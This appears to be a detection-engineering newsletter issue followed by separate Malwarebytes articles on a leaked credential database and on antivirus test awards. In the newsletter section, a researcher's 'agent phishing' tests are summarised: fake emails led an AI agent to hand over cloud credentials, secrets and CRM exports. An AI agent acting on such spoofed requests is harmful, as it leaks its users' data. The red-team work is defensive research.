I swear to God, maybe it’s because I’m in my 30s, but I am noticing so much more plant and flower life everywhere! I saw a huge bunch of flowers on the side of my yard, and when I asked Seek to classify them, they turned out to be blackberry bushes! Now I have blueberries and blackberries to pick when they start to produce :D
I am taking the next week off for much-needed PTO, so the next DEW issue will go out on July 1!
I am gauging interest for a Detection & Response Happy Hour during Black Hat week. Something lowkey, on the strip, where folks in D&R can meet without being barraged by vendors. If you are interested, hit the “Yes” option on the poll below so I can figure out seat count. I’m aiming for Tuesday night before the craziness starts!
Every week, I read, watch and listen to all the Detection Engineering content so you can consume it all in 10 minutes. Subscribe and get a weekly digest of the latest and greatest in threat detection engineering!
For those unfamiliar with the term Quant, it’s short for Quantitative Analyst. These analysts apply rigorous statistical methodologies to financial trading and sit at the intersection of business, mathematics, and market uncertainty. I’ve met several throughout my career, especially during my MBA. They enable massive trading firms on Wall Street to manage large trading portfolios that account for all kinds of risk. And, as we know about risk in security, they try to understand the uncertainty of events in the world, such as the Iran War, to find arbitrage opportunities or hedge against risks to minimize loss when a disaster happens. Sound familiar?
In this post, Abdelgawad surveys the history of quantitative analysis as it evolved from paper to computer spreadsheets, and now high-frequency trading. He compares and contrasts this evolution with that of security operations, especially given current AI capabilities. According to Abdelgaward, the cost of both writing results and triage is being reduced from a human capital perspective. A well-harnessed LLM can perform research, learn your detection stack, and build rules at a faster velocity than a human can. That same agentic system can triage alerts, analyze the event, and present a D&R engineer with its decision and reasoning.
So the question becomes: what do we do when the expensive parts are no longer typing rules or grinding through every alert by hand? Abdelgawad’s answer is that we are not being replaced, but we are being pushed up a layer. The work starts to look less like hand‑building each detection and more like portfolio management: deciding which rules belong in the book, which are brittle, which really work in your environment, and where the blind spots in the overall method are. He compares and contrasts this “squeeze” to an analogy of the front, middle and back offices in finance.
Once the front office (authoring) and the back office (false-positive minimization and risk acceptance) become cheap, the middle office becomes the constraint you optimize to achieve success in detection and response. So your “book” is your ruleset, detection pipeline, incident response playbooks, and your knowledge bases. To draw another comparison, the ship has sailed for writing most of your code by hand, as Claude Code has taken over. The same logic applies to detection: if agents can draft rules and triage alerts, the valuable human work is not clinging to manual authoring; it is managing the portfolio and the risk it represents.
I want to keep reiterating that the cost has shifted, and I’m hopeful because it frees up more time for detection engineers to focus on the important research and engineering parts of our job. Here are some ways I’ve seen this implemented already at my day job, where I run an org with dozens of security engineers doing detection & response:
Teams move more into the threat hunting space, where they spend more time discovering gaps in coverage, telemetry, and infrastructure
Projects emerge that help monitor drift in pipelines and telemetry and will flag when a rule or log source becomes unreliable
Detection & response engineers spend more time with threat intelligence teams to help understand the world outside of the company
This has been one of my favorite posts to read in months. I highly recommend taking time to read and comprehend Abdelgawad’s narrative around this topic because we are going to be expected to take on more with the help of agentic tooling.
About a week after Anthropic’s release of the “Mythos-class” model Fable and Mythos 5, they pulled access to the model from all customers as well as non-U.S. citizens inside Anthropic. This blog post explains why they pulled access: the U.S. Government issued an export control directive requiring Anthropic to remove access for non-U.S. citizens.
A lot of work goes into releasing these models, including extensive internal and external red teaming to battle-test the jailbreak-prevention defenses that Foundational Labs add to them. According to Anthropic, they followed their normal operating testing procedures and added even more to make sure that the guardrails held up against adversarial prompts. They announced on their blog the intent behind the testing, since Mythos has been touted as an advanced, cybersecurity-capable model.
The blog reads as if they disagree with the directive altogether. According to the post, the government’s explanation was a singular report of a jailbreak as their evidence. This isn’t Anthropic’s first clash with the current Administration, in which the Secretary of Defense threatened to label them a supply chain risk.
My personal opinion is that this is likely a stretch of an argument by the U.S. and that I think this ban will be lifted in the coming months. That being said, Anthropic has leaned into the marketing of their Mythos model as being something that should be regulated, so I hope they aren’t too surprised that something like this happened.
I’m excited to see investment from detection engineers and researchers investigating how audit logs and compliance APIs work for AI tools like Claude & OpenAI. The problem with this particular threat surface, as Byford writes in this blog, is separating the threat model into SaaS detections and prompt-and-response detections. These APIs contain audit events similar to what we see across the industry: permissions or API keys being added to an account, MFA devices registered or removed and suspicious logins. But, if the value of these tools is token usage, how do you find threats in unstructured data?
Byford’s Malicious Content Detection Pipeline
Byford’s solution to this, which he also open-sourced, is a pipeline that splits control plane events under “Activity Feed” and content events. SIEMs, which are built on structured matching on structured data, perform poorly when matching on unstructured, non-deterministic data. These situations are when the problem (unstructured token usage) and the solution (unstructured token usage) are identical. Byford’s content pipeline uses a combination of prefiltering tools and an LLM judge to filter out interesting or malicious prompts before they ever hit a SIEM.
I do see some scale issues with this, but only in the sense that we will all likely face tradeoffs on volume vs precision:
The cost of indexing prompts is shifted from the SIEM to the LLM judge. For every prompt your company generates, you need to use another prompt to evaluate its content
Byford calls out the Judge being susceptible to attacks itself, so it’s important to engineer additional guardrails
Privacy concerns around inspecting content in the prompt and uploaded documents themselves. Depending on your jurisdiction and compliance requirements, you may not get 100% visibility on every prompt and response. (Unless you are American, lol privacy)
This blog by Ross presents a practical pattern for secrets on dev workstations before infostealers or open-source supply chain attacks from groups like TeamPCP. They vibe-coded a proof-of-concept architecture that combines a secrets scanning tool, bagel, with Fleet and osquery. You can deploy the scan to run periodically via a LaunchAgent on macOS that runs bagel, which creates a findings JSON file.
Fleet then launches an osquery rule to detect secrets in the user’s home directory, sends alerts to Slack, and even instruments a response action to isolate the user’s access to your IdP. There’s a good defense-in-depth story here: you enforce controls before a developer gets infected, and you hope your EDR catches the infection before it’s too late.
Every week, I read, watch and listen to all the Detection Engineering content so you can consume it all in 10 minutes. Subscribe and get a weekly digest of the latest and greatest in threat detection engineering!
Threat research G.O.A.T. BushidoToken released an update to his ransomware tool and vulnerability matrix dataset. He added three emerging groups: TheGentlemen, Dragonforce and WarLock. It’s always difficult for me to stay abreast of TTPs in these groups since they tend to move fast, disappear and re-emerge. The coolest part of this post, IMHO, is the callout on the leaked chats from TheGentlemen and how they helped researchers understand the group's inner workings.
In this post, Varonis Security Researcher Itay Yashar set up a simulated enterprise environment on Google Workspace and gave access to an OpenClaw agent. The clever idea here was to test the difference between an agent inadvertently executing malicious instructions via prompt injection versus what Yashar calls “agent phishing.” I think this is an important callout because it challenges the guardrails of a legitimate request with no hidden artifactsfrom a malicious source. Whereas in prompt injection, they are generally malicious requests with a hidden artifact.
They ran four scenarios, and the results were interesting: they tended to favor resolving issues over verifying the sender's identity and security. They implemented a “strict” verification profile for the agent that explicitly required it to verify identities. In multiple scenarios, a fake email was enough to get cloud credentials, secrets, and CRM exports. It just goes to show that guardrails are more than just prompts, and you should treat prompts and instructions as a security boundary in themselves.
I’ve been checking out Reddit posts more lately for raw analysis and commentary on detection and the threat landscape, and this one on ClickFix struck a good balance between technical depth and a conversational tone. Microsoft Defender fired an alert about a potential ClickFix compromise, and MoneySaxena wrote about their experience triaging the alert and containing the host.
They called the user and tried to understand how they managed to visit a site, copy and paste a malicious command, and then execute it. She said she was “just browsing normally”. This is something I see so many security teams deal with in their day-to-day, so it’s not too surprising that the user was browsing in a benign way and got infected.
This was my favorite quote from their write-up:
The thing that gets me about ClickFix attacks is how simple the social engineering is. There’s no phishing email to analyse, no malicious attachment to sandbox. The user is just browsing a normal website and something on the page tells them to paste a command. The command itself looks like gibberish. Most people have no reason to know what rundll32 is or why a website would need them to run it.
Kind of creepy OSINT-based IP camera crawler. It has 8k+ publicly facing IP cameras that display images and/or video feeds. You can filter across countries, ISP, keywords, and console mode, which looks like Omegle.
BushidoToken’s updated Ransomware Tool & Vulnerability matrices from the blog post featured in Threat Landscape above. These are fantastic resources for detection research and creation, especially if you feed your environmental context, ruleset and enrichment from these matrices into an LLM.
Noradrenaline is a set of small offensive shared‑library modules for macOS and Linux meant to be plugged into Poseidon and other post-exploitation agent frameworks. IMHO, this is a great set of capabilities for a detection engineer to test their EDR and detection rules on macOS. I hope someone does Atomic Red Team for macOS soon so this becomes easier and easier!
Andrew Byford’s detection ruleset for their Claude Compliance API research is listed in State of the Art above. It contains the full architecture of detection rules, pipelines, judge integration, and pre-filtering.
Kipi is a self-hosted OSINT platform that uses Claude as its analysis backbone. It’s similar to SpiderFoot in many ways, but I don’t see as many one-off modules or scripts, since it lets Claude make tool calls like API or HTTP requests. The cool part here is how Claude builds relationships via a graph and presents it to you while performing its analysis.
AI security is getting attention because AI has stopped being a side experiment. It is now part of how work gets done. Employees use copilots to write, research, code, and analyze. Product teams are adding AI into customer experiences. Developers are building applications on top of foundation models. Business teams are experimenting with agents that can read email, summarize documents, query data, and trigger workflows. That is a very different world from the one many AI review processes were designed for. An AI system can pass a benchmark and still fail in production. It can behave safely in a clean test environment and then encounter real […]
A newly discovered database containing 24 billion stolen records is a reminder that personal information from data breaches, phishing campaigns, and infostealer infections continues to circulate online.
The collection was exposed on the internet before being taken offline. While researchers can’t confirm exactly whose information was included, the discovery is a good opportunity to check whether your email addresses, passwords, or other personal data have already been exposed.
What happened?
Researchers at Cybernews found a publicly exposed database holding more than 8.3 TB of data.
The data, consisting of 24 billion credential records, reportedly came from 36 sources, including numerous Telegram channels, prior breach compilations, collections of infostealer logs, and some datasets apparently exported directly from live servers.
Because the data came from different sources there are some differences in what the records contain and how they are organized.
Some records were structured infostealer logs containing usernames, email addresses, and plaintext passwords, and the associated login URL. Infostealers are a type of malware designed to steal sensitive information from infected devices, such as your home computer.
An infostealer log from a single infected device can include passwords stored across all browsers, active session cookies and tokens (including those that bypass multi-factor authentication), autofill data, device fingerprints, and sometimes crypto wallets or messaging accounts. The complete bundle is what ends up in logs such as those seen by the Cybernews researchers.
Roughly 1.7 billion of the records came from hacking-related Telegram channels, mainly English and Russian, including at least one that was focused on stolen credit card data.
The exposed database was hosted on an Elasticsearch cluster. Elasticsearch is a tool used to quickly store and search lots of data. If an Elasticsearch server lacks passwords, authentication, or network restrictions, it can be accessed by anyone who finds it online. Without protections such as passwords or a firewall, anyone can read, copy, change, or even delete its data.
Other documents in the dataset contained information about known vulnerabilities, articles about breaches, and social media posts about cyberattacks. This suggests the owner actively monitors security news and vulnerabilities and enriches the credential hoard with fresh breach information, either for a commercial “monitoring” service or for offensive use.
This newly discovered 24 billion record exposure is in the same league as that previous mega‑dump, but appears more heavily weighted toward fresh infostealer logs, rather than older, static breach data.
Since the data was taken out of public view soon after the discovery, the researchers were unable to fully retrace everything they had found or determine how many duplicate records it contained. That’s reassuring because it reduces the chances of cybercriminals finding the database, but reused passwords may still put accounts at risk. And we still don’t know the purpose for the data collection in the first place.
What to do now
It’s good to be aware of how much information about you is out there and who’s gathering it, but it’s even more important to know exactly which information they have, since that is what they can use against you.
2. If you discover exposed passwords, change them immediately and make sure you aren’t reusing the same password across multiple accounts. Prioritize updating your important accounts such as email, banking, shopping, and social media accounts.
3. Turn on multi-factor authentication (MFA) wherever possible, since it can help protect accounts even if a password has been exposed.
How to protect your data
Infostealers often spread through malicious ads, fake browser updates, and one-click downloads. Avoid clicking sponsored ads, and instead visit official websites directly. Download software only from trusted sources such as official vendor sites or app stores.
Another increasingly popular technique is ClickFix, a social engineering attack that tricks users into infecting their own devices. Never run commands or scripts copied from websites, emails, or messages unless you trust the source and understand what they do.
Pirated software, game cheats, cracked tools, and shady browser extensions remain common sources of infostealer infections. Stick to reputable software and extensions, and be wary of anything asking for excessive permissions.
Lastly, phishing emails are still a major threat. Be cautious of unexpected attachments, links, and urgent requests. If you’re unsure whether a message is legitimate, verify it through the company’s official website rather than the link in the message.
You can also use Malwarebytes Scam Guard to check individual messages. Just upload a screenshot and we’ll let you know if it’s a scam.
Breaches happen every day. Don’t be the last to know.
Our job is to protect people from online threats, and independent testing is one of the best ways to measure how well we’re doing.
Malwarebytes nabbed AV-TEST’s Top Product award after scoring 17.5 points out of a possible 18 in the research organization’s most recent Windows security test. The award is the latest in a string of endorsements from third-party testers whose ongoing evaluations help keep us sharp.
Here’s a closer look at the results.
AV-TEST Windows Consumer Security Product Test
AV-TEST’s Windows Consumer Security Product Test, which took place in March and April, assessed 14 security applications across three categories: how well they protected Windows PCs from malware, how much they slowed down a device, and how often they raised false alarms.
AV-TEST noted in its synopsis:
“We focused on realistic test scenarios and challenged the products against real-world threats. Products had to demonstrate their capabilities using all components and protection layers.”
To receive the Top Product award, companies had to score 17.5 points or higher out of a total of 18, earning a maximum of six points in each category. Malwarebytes has received a Top Product endorsement from AV-TEST more than a dozen times since it first began taking the test in 2018.
MRG Effitas Consumer Assessment Certification
Malwarebytes once again came out on top in the MRG Effitas Consumer Assessment Certification, which tested eight security products to measure their ability to block malware, protect against phishing, and avoid false positives.
Malwarebytes was the only company to achieve Level 1 Certification, meaning we succeeded in stopping all 300 in-the-wild infections without causing damage to the device or its data, generated zero false positives, and blocked at least 79% of phishing attempts. Our phishing detection rate was 100%.
This certification is particularly impressive because the test used newly discovered malware samples, meaning most security products had not encountered them before.
AVLab Advanced In-the-Wild Malware Test
Continuing our winning streak, Malwarebytes received a perfect score (421/421) in AVLab’s Advanced In-The-Wild Malware Test, earning an “Excellent” certificate. The test applied existing threats currently circulating online, delivered the way a real user would come across them.
To receive the “Excellent” certification, a security product had to stop at least 99.6% of malware threats, either before they could run or during an attack. We detected and blocked every single real-world threat in an average of 0.508 seconds—a full 3 seconds faster than the industry average.
These types of independent assessments are important. They keep us on top of our game, which in turn keeps our customers safe.
“One of the best cybersecurity suites on the planet.”